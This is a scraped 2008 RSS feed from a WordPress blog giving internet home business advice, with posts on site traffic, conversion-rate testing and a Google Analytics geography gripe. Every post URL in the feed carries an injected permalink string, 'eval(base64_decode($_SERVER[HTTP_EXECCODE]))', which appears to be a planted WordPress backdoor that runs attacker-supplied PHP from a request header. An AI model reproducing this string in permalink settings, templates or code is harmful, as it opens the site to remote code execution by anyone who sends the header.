Internet Home Business Advice at The Capitalist Guide Blog » Conversions http://www.capitalistguide.com/blog Internet Home Business Advice for Budding Entrepreneurs Sun, 13 Jul 2008 01:41:47 +0000 http://wordpress.org/?v=2.8.1 en hourly 1 © email@capitalistguide.com () email@capitalistguide.com() 1440 Internet Home Business Advice for Budding Entrepreneurs email@capitalistguide.com No no http://www.capitalistguide.com/blog/wp-content/plugins/podpress/images/powered_by_podpress.jpg Internet Home Business Advice at The Capitalist Guide Blog http://www.capitalistguide.com/blog 144 144 Case Study: Make Money Online Blog Wants More Traffic http://www.capitalistguide.com/blog/2008/05/03/case-study-make-money-online-blog-wants-more-traffic/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.capitalistguide.com/blog/2008/05/03/case-study-make-money-online-blog-wants-more-traffic/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sun, 04 May 2008 04:41:40 +0000 Bryan http://www.capitalistguide.com/blog/?p=45 In today’s case study, I analyzed a brand new "make money online" blog.

When he came to me, he stated that he wanted more traffic, possibly through SEO. The first thing that I told him was that traffic was not his problem. It was A problem, but not THE problem.

Watch and learn how traffic can only be a distraction to the real problem behind a flailing business. I also give some quick beginner tips on SEO and Social Media Marketing.

If you would like to have your business and website reviewed to help you find places in which you can probably improve, sign up for a business review. It’s free! 

 

 

 

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]]> http://www.capitalistguide.com/blog/2008/05/03/case-study-make-money-online-blog-wants-more-traffic/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 7 Google Wants to Start WWIII http://www.capitalistguide.com/blog/2008/05/01/google-wants-to-start-wwiii/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.capitalistguide.com/blog/2008/05/01/google-wants-to-start-wwiii/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 01 May 2008 18:03:17 +0000 Bryan http://www.capitalistguide.com/blog/?p=41 Anybody who knows anything about current events or world history knows that China and Taiwan are NOT friends. And hopefully most of you know that the US has pledged undying support to Taiwan , if it ever came down to China invading them. So then why, according to Google Analytics, has China already conquered Taiwan :

China and Twaiian are the same?

That’s like saying Canada is just the 51st state of the US, or India and Pakistan are the same country, or the Irish are just a bunch of Brits.

If Google really wants to rule the world they need to stop giving free massages and instead give free geography lessons 

]]> http://www.capitalistguide.com/blog/2008/05/01/google-wants-to-start-wwiii/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 The Difference Between the Successful and the Hungry Online Businesses http://www.capitalistguide.com/blog/2008/04/21/the-difference-between-successful-and-the-hungry-online-businesses/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.capitalistguide.com/blog/2008/04/21/the-difference-between-successful-and-the-hungry-online-businesses/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 22 Apr 2008 02:22:07 +0000 Bryan http://www.capitalistguide.com/blog/?p=32 I love Wordtracker and the Google Keyword Tool. It really lets me look deeply into the heart of the average person. Let’s look at something I am consistently focusing on vs. what the average blogger is focusing on. Check this out:

Traffic vs. Conversions

Notice how there are almost no searches for increasing conversions yet thousands of searches for blog traffic.

Case study time. Let’s assume you have a conversion rate of 0.2% and you want to take your blog to the next level. Is it blog traffic you want? What if I told you I could get you 10,000 guaranteed visitors a day? How much would you pay me? $97? $197? $1997? Would you part with your hard earned time and money and fly to Arizona, or wherever the conference would be held, and then listen to me explain how the real answer is in the $19,997 product (still only 20 cents a visitor the first day)?

Now what if I told you I could increase your visitor conversion rate to 16%, yet, I could only get you 200 visitors a day. What would you pay me? $4? Maybe not even that. Maybe I could get a great copywriter and get you to part with $19.97. But certainly not $1997. It just isn’t sexy enough to make you understand how powerful it is.

Go back and do the math. You actually get more sales from the 200 visitors a day, in fact you get 60% more sales. To some of you, this is a no-brainer, and congratulations. But to the majority of you, unfortunately, I’m speaking Greek. I’ll put it this way: the ONLY thing that matters in the end is sales.

Chances are, you either don’t have a conversion goal or you’ll never see a 16% conversion rate. I say: why not (to both of those questions)? I get a 20%-30% conversion rate on one of my lead generation pages. My goal is to simply generate leads, and your blog probably has the same goal.

So how do you get it that high? Testing. Simple as that. There is no magic formula for it except that you pick something to test, set it up in Google Website Optimizer, and test it.

This is the difference between successful and struggling businesses (including bloggers).

In the near future, I will be introducing a very big benefit of this blog, something I intend on making the primary focus. It will be intended to give the average webmaster and blogger a fighting chance at making a decent amount of money online without spending half a lifetime in the process. Increasing conversion rates and SEO will be a part of it, but a much bigger part will be fixing the business model in general. Usually they’re surprisingly closely related. As you’ll quickly learn, you can’t have one be successful without the other.

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